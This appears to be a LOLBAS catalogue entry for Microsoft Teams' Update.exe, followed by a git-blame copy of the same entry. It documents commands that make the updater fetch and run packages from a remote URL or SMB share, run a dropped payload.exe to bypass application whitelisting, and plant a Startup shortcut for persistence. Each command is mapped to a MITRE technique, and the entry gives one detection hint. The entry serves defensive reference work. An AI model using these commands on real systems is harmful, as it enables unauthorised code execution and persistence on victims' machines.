LOLBAS/yml/OtherMSBinaries/Update.yml

---
Name: Update.exe
Description: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
Author: 'Oddvar Moe'
Created: 2019-06-26
Commands:
  - Command: Update.exe --download [url to package]
    Description: The above binary will go to url and look for RELEASES file and download the nuget package.
    Usecase: Download binary
    Category: Download
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/techniques/T1218/
    OperatingSystem: Windows 7 and up with Microsoft Teams installed
  - Command: Update.exe --update=[url to package]
    Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
    Usecase: Download and execute binary
    Category: AWL Bypass
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/techniques/T1218/
    OperatingSystem: Windows 7 and up with Microsoft Teams installed
  - Command: Update.exe --update=[url to package]
    Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
    Usecase: Download and execute binary
    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/techniques/T1218/
    OperatingSystem: Windows 7 and up with Microsoft Teams installed
  - Command: Update.exe --update=\\remoteserver\payloadFolder
    Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
    Usecase: Download and execute binary
    Category: AWL Bypass
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/techniques/T1218/
    OperatingSystem: Windows 7 and up with Microsoft Teams installed
  - Command: Update.exe --update=\\remoteserver\payloadFolder
    Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
    Usecase: Download and execute binary
    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/techniques/T1218/
    OperatingSystem: Windows 7 and up with Microsoft Teams installed
  - Command: Update.exe --updateRollback=[url to package]
    Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
    Usecase: Download and execute binary
    Category: AWL Bypass
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/techniques/T1218/
    OperatingSystem: Windows 7 and up with Microsoft Teams installed
  - Command: Update.exe --updateRollback=[url to package]
    Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
    Usecase: Download and execute binary
    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/techniques/T1218/
    OperatingSystem: Windows 7 and up with Microsoft Teams installed
  - Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
    Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
    Usecase: Application Whitelisting Bypass
    Category: AWL Bypass
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows 7 and up with Microsoft Teams installed
  - Command: Update.exe --updateRollback=\\remoteserver\payloadFolder
    Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
    Usecase: Download and execute binary
    Category: AWL Bypass
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/techniques/T1218/
    OperatingSystem: Windows 7 and up with Microsoft Teams installed
  - Command: Update.exe --updateRollback=\\remoteserver\payloadFolder
    Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
    Usecase: Download and execute binary
    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/techniques/T1218/
    OperatingSystem: Windows 7 and up with Microsoft Teams installed
  - Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
    Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
    Usecase: Execute binary
    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows 7 and up with Microsoft Teams installed
  - Command: Update.exe --createShortcut=payload.exe -l=Startup
    Description: Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a payload.exe shortcut in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it.
    Usecase: Execute binary
    Category: Execute
    Privileges: User
    MitreID: T1547
    MitreLink: https://attack.mitre.org/techniques/T1547/001/
    OperatingSystem: Windows 7 and up with Microsoft Teams installed
  - Command: Update.exe --removeShortcut=payload.exe -l=Startup
    Description: Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page.
    Usecase: Execute binary
    Category: Execute
    Privileges: User
    MitreID: T1070
    MitreLink: https://attack.mitre.org/techniques/T1070/
    OperatingSystem: Windows 7 and up with Microsoft Teams installed
Full_Path:
  - Path: '%localappdata%\Microsoft\Teams\update.exe'
Code_Sample:
  - Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel
Detection:
  - IOC: Update.exe spawned an unknown process
Resources:
  - Link: https://www.youtube.com/watch?v=rOP3hnkj7ls
  - Link: https://twitter.com/reegun21/status/1144182772623269889
  - Link: https://twitter.com/MrUn1k0d3r/status/1143928885211537408
  - Link: https://twitter.com/reegun21/status/1291005287034281990
  - Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
  - Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
  - Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
  - Link: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/
Acknowledgement:
  - Person: Reegun Richard Jayapaul (SpiderLabs, Trustwave)
    Handle: '@reegun21'
  - Person: Mr.Un1k0d3r
    Handle: '@MrUn1k0d3r'
  - Person: Adam
    Handle: '@Hexacorn'
  - Person: Jesus Galvez
---
Create update.yml 2019-06-27 14:26:24 +02:00			`---`
			`Name: Update.exe`
Adjusted Squirrel and Update 2019-06-27 17:12:23 +02:00			`Description: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`Author: 'Oddvar Moe'`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`Created: 2019-06-26`
Create update.yml 2019-06-27 14:26:24 +02:00			`Commands:`
			`- Command: Update.exe --download [url to package]`
Adjusted Squirrel and Update 2019-06-27 17:12:23 +02:00			`Description: The above binary will go to url and look for RELEASES file and download the nuget package.`
Adjusted Update and Squirrel 2019-06-28 09:05:27 +02:00			`Usecase: Download binary`
			`Category: Download`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`Privileges: User`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`MitreID: T1218`
Create update.yml 2019-06-27 14:26:24 +02:00			`MitreLink: https://attack.mitre.org/techniques/T1218/`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`OperatingSystem: Windows 7 and up with Microsoft Teams installed`
Update update.yml Hi, I have updated with new findings - Reegun 2020-08-10 05:31:48 +02:00			`- Command: Update.exe --update=[url to package]`
Adjusted Update and Squirrel 2019-06-28 09:05:27 +02:00			`Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.`
Create update.yml 2019-06-27 14:26:24 +02:00			`Usecase: Download and execute binary`
			`Category: AWL Bypass`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`Privileges: User`
Create update.yml 2019-06-27 14:26:24 +02:00			`MitreID: T1218`
			`MitreLink: https://attack.mitre.org/techniques/T1218/`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`OperatingSystem: Windows 7 and up with Microsoft Teams installed`
Update update.yml Hi, I have updated with new findings - Reegun 2020-08-10 05:31:48 +02:00			`- Command: Update.exe --update=[url to package]`
Adjusted Update and Squirrel 2019-06-28 09:05:27 +02:00			`Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.`
Create update.yml 2019-06-27 14:26:24 +02:00			`Usecase: Download and execute binary`
Adjusted Update and Squirrel 2019-06-28 09:05:27 +02:00			`Category: Execute`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`Privileges: User`
Create update.yml 2019-06-27 14:26:24 +02:00			`MitreID: T1218`
			`MitreLink: https://attack.mitre.org/techniques/T1218/`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`OperatingSystem: Windows 7 and up with Microsoft Teams installed`
Update update.yml Hi, I have updated with new findings - Reegun 2020-08-10 05:31:48 +02:00			`- Command: Update.exe --update=\\remoteserver\payloadFolder`
			`Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.`
			`Usecase: Download and execute binary`
			`Category: AWL Bypass`
			`Privileges: User`
			`MitreID: T1218`
			`MitreLink: https://attack.mitre.org/techniques/T1218/`
			`OperatingSystem: Windows 7 and up with Microsoft Teams installed`
			`- Command: Update.exe --update=\\remoteserver\payloadFolder`
			`Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.`
			`Usecase: Download and execute binary`
			`Category: Execute`
			`Privileges: User`
			`MitreID: T1218`
			`MitreLink: https://attack.mitre.org/techniques/T1218/`
			`OperatingSystem: Windows 7 and up with Microsoft Teams installed`
			`- Command: Update.exe --updateRollback=[url to package]`
Updated update and squirrel with updaterollback parameter 2019-07-02 09:06:19 +02:00			`Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.`
			`Usecase: Download and execute binary`
			`Category: AWL Bypass`
			`Privileges: User`
			`MitreID: T1218`
			`MitreLink: https://attack.mitre.org/techniques/T1218/`
			`OperatingSystem: Windows 7 and up with Microsoft Teams installed`
			`- Command: Update.exe --updateRollback=[url to package]`
			`Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.`
			`Usecase: Download and execute binary`
			`Category: Execute`
			`Privileges: User`
			`MitreID: T1218`
			`MitreLink: https://attack.mitre.org/techniques/T1218/`
			`OperatingSystem: Windows 7 and up with Microsoft Teams installed`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`- Command: Update.exe --processStart payload.exe --process-start-args "whatever args"`
			`Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.`
			`Usecase: Application Whitelisting Bypass`
			`Category: AWL Bypass`
			`Privileges: User`
			`MitreID: T1218`
			`MitreLink: https://attack.mitre.org/wiki/Technique/T1218`
			`OperatingSystem: Windows 7 and up with Microsoft Teams installed`
Update update.yml Hi, I have updated with new findings - Reegun 2020-08-10 05:31:48 +02:00			`- Command: Update.exe --updateRollback=\\remoteserver\payloadFolder`
			`Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.`
			`Usecase: Download and execute binary`
			`Category: AWL Bypass`
			`Privileges: User`
			`MitreID: T1218`
			`MitreLink: https://attack.mitre.org/techniques/T1218/`
			`OperatingSystem: Windows 7 and up with Microsoft Teams installed`
			`- Command: Update.exe --updateRollback=\\remoteserver\payloadFolder`
			`Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.`
			`Usecase: Download and execute binary`
			`Category: Execute`
			`Privileges: User`
			`MitreID: T1218`
			`MitreLink: https://attack.mitre.org/techniques/T1218/`
			`OperatingSystem: Windows 7 and up with Microsoft Teams installed`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`- Command: Update.exe --processStart payload.exe --process-start-args "whatever args"`
			`Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.`
			`Usecase: Execute binary`
			`Category: Execute`
			`Privileges: User`
			`MitreID: T1218`
			`MitreLink: https://attack.mitre.org/wiki/Technique/T1218`
			`OperatingSystem: Windows 7 and up with Microsoft Teams installed`
Update Update.yml I update this LolBin to create persistence of payload.exe in the directory "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" by running payload.exe with the argument "--createShortcut" and "--removeShortcut". 2020-10-29 09:12:28 +01:00			`- Command: Update.exe --createShortcut=payload.exe -l=Startup`
			`Description: Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a payload.exe shortcut in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it.`
			`Usecase: Execute binary`
			`Category: Execute`
			`Privileges: User`
			`MitreID: T1547`
			`MitreLink: https://attack.mitre.org/techniques/T1547/001/`
			`OperatingSystem: Windows 7 and up with Microsoft Teams installed`
			`- Command: Update.exe --removeShortcut=payload.exe -l=Startup`
			`Description: Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page.`
			`Usecase: Execute binary`
			`Category: Execute`
			`Privileges: User`
			`MitreID: T1070`
			`MitreLink: https://attack.mitre.org/techniques/T1070/`
			`OperatingSystem: Windows 7 and up with Microsoft Teams installed`
Create update.yml 2019-06-27 14:26:24 +02:00			`Full_Path:`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`- Path: '%localappdata%\Microsoft\Teams\update.exe'`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`Code_Sample:`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`- Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel`
Standardise date formats (see https://yaml.org/type/timestamp.html) 2021-01-10 16:04:52 +01:00			`Detection:`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`- IOC: Update.exe spawned an unknown process`
Create update.yml 2019-06-27 14:26:24 +02:00			`Resources:`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`- Link: https://www.youtube.com/watch?v=rOP3hnkj7ls`
			`- Link: https://twitter.com/reegun21/status/1144182772623269889`
			`- Link: https://twitter.com/MrUn1k0d3r/status/1143928885211537408`
Update update.yml Hi, I have updated with new findings - Reegun 2020-08-10 05:31:48 +02:00			`- Link: https://twitter.com/reegun21/status/1291005287034281990`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`- Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/`
Added link to reegun blog 2019-06-28 08:48:41 +02:00			`- Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12`
Updated update and squirrel with updaterollback parameter 2019-07-02 09:06:19 +02:00			`- Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56`
Update update.yml Hi, I have updated with new findings - Reegun 2020-08-10 05:31:48 +02:00			`- Link: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`Acknowledgement:`
Update update.yml Hi, I have updated with new findings - Reegun 2020-08-10 05:31:48 +02:00			`- Person: Reegun Richard Jayapaul (SpiderLabs, Trustwave)`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`Handle: '@reegun21'`
Create update.yml 2019-06-27 14:26:24 +02:00			`- Person: Mr.Un1k0d3r`
Adjusted update.yml 2019-06-27 17:01:34 +02:00			`Handle: '@MrUn1k0d3r'`
			`- Person: Adam`
			`Handle: '@Hexacorn'`
Update Update.yml I update this LolBin to create persistence of payload.exe in the directory "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" by running payload.exe with the argument "--createShortcut" and "--removeShortcut". 2020-10-29 09:12:28 +01:00			`- Person: Jesus Galvez`
Create update.yml 2019-06-27 14:26:24 +02:00			`---`